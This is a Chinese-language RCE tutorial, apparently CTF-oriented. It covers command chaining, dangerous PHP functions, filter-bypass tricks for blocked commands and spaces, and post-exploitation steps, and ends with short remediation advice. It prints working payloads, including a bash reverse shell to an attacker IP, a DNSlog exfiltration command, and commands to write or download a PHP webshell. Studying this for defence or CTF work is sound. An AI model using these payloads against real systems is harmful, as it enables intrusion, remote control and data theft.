简介

​ RCE,Remote Command/Code Execute,远程命令/代码执行。

命令拼接符

注意,通过 url 传入命令时,拼接符需要进行 url 编码。

Windows

命令1 || 命令2

​ 命令 1 执行成功,则不执行命令 2 ;命令 1 执行失败,则执行命令 2 。

命令1 | 命令2

​ 命令 1 执行成功,则执行命令 2 ,仅显示命令 2 的执行结果;命令 1 执行失败,则不执行命令 2 。

命令1 && 命令2

​ 命令 1 执行成功,则执行命令 2 ,两个命令的执行结果都输出;命令 1 执行失败,则不执行命令 2 。

命令1 & 命令2

​ 命令 1、2 一起执行,互不影响。

Linux

命令1 ; 命令2

​ 命令 1、2 依次执行,互不影响。

命令1 | 命令2

​ 管道符,命令 1 的执行结果做为命令 2 的输入。

​ 命令 1 执行成功,则执行命令 2 ,仅显示命令 2 的执行结果;命令 1 执行失败,则不执行命令 2 。

命令1 || 命令2

​ 命令 1 执行成功,则不执行命令 2 ;命令 1 执行失败,则执行命令 2 。

命令1 && 命令2

​ 命令 1 执行成功,则执行命令 2 ,两个命令的执行结果都输出;命令 1 执行失败,则不执行命令 2 。

函数

PHP

eval()

​ 把字符串按照 PHP 代码来执行。

1
2
3
4
eval(phpinfo()); //可以
eval(phpinfo();); //报错
eval("phpinfo();"); //可以
eval("phpinfo()"); //报错
1
2
3
4
5
//?cmd=phpinfo(); 分号必须有
<?php
$cmd = $_GET["cmd"];
eval($cmd); //此处及其他类似这样的变量用法,PHP会自动在变量的替代内容外包裹引号
?>

assert()

​ 如果是字符串将会被当作 PHP 代码执行。

1
2
3
4
assert(phpinfo()); //可以
assert(phpinfo();); //报错
assert("phpinfo()"); //可以
assert("phpinfo();"); //可以
1
2
3
4
5
//?cmd=phpinfo(); 分号可有可无
<?php
$cmd = $_GET["cmd"];
assert($cmd);
?>

preg_replace()

1
preg_replace($pattern, $replacement, $subject);

​ 执行一个正则表达式的搜索和替换。

​ $pattern 为正则表达式,$subject 为目标字符串,将匹配到的部分用 $replacement 替换。

​ 当 $pattern 处出现 /e 修正符,$replacement 会被当作 PHP 代码执行。

1
2
3
4
//?cmd=phpinfo(); 分号可有可无
<?php
preg_replace("/test/e", $_GET["cmd"], "jutst test");
?>

call_user_func()

1
call_user_func(函数a, xxx)

​ 调用函数 a ,xxx 为函数 a 的参数。

​ 经测试,只有 assert 可以,eval 不行。

1
2
3
4
//?cmd=phpinfo(); 分号可有可无
<?php
call_user_func(assert, $_GET["cmd"]);
?>

system() 和 passthru()

​ 执行操作系统命令,仅当执行成功时输出执行结果。

1
2
3
4
system/passthru("命令"); //标准写法
system/passthru(命令); //可以,但会抛出错误
(system/passthru)("命令"); //可以,但会抛出错误
(system/passthru)(命令); //可以,但会抛出错误
1
2
3
4
5
//?cmd=ver 不要在命令两边加引号,否则无法执行
<?php
$cmd = $_GET["cmd"];
system/passthru($cmd);
?>

exec()

​ 执行操作系统命令,但不会输出任何内容。

1
exec("命令");

shell_exec()

​ 执行操作系统命令,返回执行结果,但不会输出。

​ 可使用 echo shell_exec("命令"); 将执行结果输出。

绕过

Windows 会把 echo 后的东西原封不动输出。

下面的内容仅针对 Linux 。

通用绕过方式

加引号

​ 单、双引号均可,如 who''ami

​ 引号内为空,系统会忽略引号。

反斜杠

​ / 表示路径,\ 表示转义符。如果 \ 后面跟的是没有转义意义的字符,则会忽略 \ 。

以下几种过滤情况都可以尝试通用绕过方式。

过滤空格

​ 可用 $IFS 替代空格。

​ 注意,对于 echo 12$IFS34 ,输出 12 而不是 12 34,因为系统会认为 $ 后面的都是变量名,而前面又没定义变量,所以不会输出任何东西,怎么办呢?

引号绕过

echo 12$IFS""34 ,引号会截断变量名。

局部变量法

a=34;echo 12$IFS$a

大括号绕过

echo 12${IFS}34 ,限定变量范围。

添加内置变量

echo 12$IFS$134$1~`$9$@$*` 都是内置变量,可截断变量名。

<> 和 < 绕过

​ <> 和 < 可替代空格。

过滤命令

编码绕过

base64

1
2
3
echo 命令|base64  #输出命令进行base64加密后的密文
echo 加密后的命令|base64 -d|bash #先解密命令,再输出命令由bash执行的结果
echo$IFS$1加密后的命令|base64$IFS$1-d|bash #同时过滤了空格时

hex 16进制

1
2
3
4
echo 0x加密后的命令|xxd -r -p|bash #先解密命令,再输出命令由bash执行的结果
#或
#已知16进制编码下l为6c,s为73
(printf "\x6c\x73") #输出ls的执行结果

oct 8进制

1
2
3
#已知 (printf ls) 或 (echo ls) 为输出ls的执行结果
#8进制编码下l为154,s为163
(printf "\154\163") #输出ls的执行结果

局部变量绕过

​ 将命令拆分为多个变量,通过输入变量名的方式绕过。

cat flag.txt ,可拆解为 a=c;b=a;c=t;d=.txt;e=ag;f=fl;$a$b$c$IFS$f$e$d

内置变量绕过

​ 内置变量如上述,cat flag.txt 可添加为如 c$1a$2t flag.txt

反斜杠绕过

跨行

1
2
3
4
5
$ cat \
> f\
> lag\
> .txt
flag is here!

单行

c\a\t flag.txt

使用绝对路径加载命令

/bin/cat flag.txt

命令代替绕过

cat

​ more、head、tail、rev、nl、sort、uniq、od

​ hexdump -b file:以 8 进制显示文件内容。

​ xxd file:以 16 进制显示文件内容。

​ file -f file:

1
2
3
file -f flag.txt
#输出:
flag{this_1s_f1@9}: cannot open 'flag{this_1s_f1@9}' (No such file or directory)

​ awk NR file:效果跟 cat file 一样。

ls

​ dir

过滤flag关键字

通配符绕过

cat ????.???

cat /f*

[] 和 {} 绕过

​ 类似正则匹配,[] 匹配其内一个字符,{} 匹配其内所有字符,如:

1
2
3
4
5
6
7
8
cat f[l,s]ag.txt #或cat f[a-z]ag.txt
#输出:
flag{this_1s_f1@9}

cat f{l,s}ag.txt
#输出:
flag{this_1s_f1@9}
cat: fsag.txt: 没有那个文件或目录

字符串反序绕过

cat flag.txt 的反序为 txt.galf tac ,配合 rev 命令使其正序。

1
txt.galf tac|rev|bash

字符串截取绕过

​ 假设 ls 的执行结果为 flag.txt ,则可构造 cat $(expr substr $(ls) 1 8)

`` 和 $() 绕过

​ 如果 ls 的结果为 flag.txt,则可 cat `ls` 或 cat $(ls) ,还可 ls|xargs cat 。

xargs:进行标准输出格式转换。

ls|xargs cat:通过管道符获取 ls 命令的标准输出,再通过 xargs 命令对标准输出格式化为 cat 命令的参数。

命令无回显

延时

​ Linux 下结合 sleep 命令。

监听

​ 攻击机执行 nc -lvp 7777 开启监听,目标机执行 curl ip:7777 发出 HTTP 请求,如果攻击机收到请求则说明命令有执行。

DNSlog

域名级别:

一级域名是互联网上的最高级别的域名。它是域名中最右边的部分,例如 “.com”、”.org”、”.net” 。一级域名是由顶级域名注册机构(例如 Verisign、Public Interest Registry 等)进行管理和分配的。

二级域名是一级域名下面的一个级别。它位于一级域名的左边,是一个有独立含义的名称。例如,在 “example.com” 中,”example” 是二级域名。

三级域名是在二级域名下再划分的一个级别。它位于二级域名的左边,是更加具体的子域名。例如,在 “blog.example.com” 中,”blog” 是三级域名。

域名的层级结构可以继续扩展,例如四级域名、五级域名,以此类推。每个级别的域名都可以有自己的独立设置和管理,用于指向不同的网络资源或服务。

​ 如果 HTTP 请求的目标不是 IP 地址而是域名,则需要调用域名解析服务(DNS)将域名转换为 IP 地址。

​ DNSlog,域名解析服务日志。在 ping 或 curl 一个域名时,就会调用域名解析服务。请求类似 DNSlog.cn 这些带有 DNSlog 的站点里的域名时,可以在这些站点里查看 DNSlog 。

数据外带

DNSlog

​ 如 curl `whoami`.xxx.dnslog.cn 。

内容迁移

​ 将 flag.php 的内容迁移到浏览器可直接访问的文件中。

  • cp flag.php 1.txtlocalhost/1.txt
  • mv flag.php flag.txtlocalhost/flag.txt
  • tar cvf flag.tar flag.phplocalhost/flag.tar
  • tar zcvf flag.tar.gz flag.phplocalhost/flag.tar.gz
  • zip flag.zip flag.phplocalhost/flag.zip

直接写入 webshell

​ 传入 echo "<?php @eval($_POST['cmd']); ?>" > webshell.php ,然后对 webshell.php 进程操控。

外部下载 webshell

​ 传入 wget 攻击机ip -O webshell.php ,下载攻击机上的 webshell.php 到目标机上。

反弹 shell

  1. 攻击机监听端口:nc -lvp 777

  2. 目标机上执行命令:bash -i >& /dev/tcp/攻击机ip/777 0>&1 。接下来在目标机上执行的所有命令的结果都将被重定向到 /dev/tcp/攻击机ip/777 指定的攻击机上。

    • bash:用于启动 Bash Shell 。
    • -ibash 命令的选项,表示以交互模式运行。这将使得 Shell 在连接建立后保持交互状态,可以接收输入和输出。
    • >&:重定向符号,用于将输出重定向到某个地方。
    • /dev/tcp/攻击机ip/777:这是一个特殊的文件路径,用于指定要重定向到的目标地址和端口。在这里,/dev/tcp 是一个虚拟文件系统,攻击机ip 是攻击机的 IP 地址,777 是要连接的目标端口号。
    • 0>&1:另一个重定向符号,表示将输入重定向到与输出相同的位置。

无数字字母

​ 异或绕过、或绕过、取反绕过、自增绕过。

​ 对传入参数进行上述操作后再传入。

修复

  1. 在执行相关函数前,对传入的变量值做好过滤,对敏感字符进行转义。
  2. 不能完全控制的危险函数最好不要使用。
  3. 进行权限控制,如文件读写权限、目录访问权限。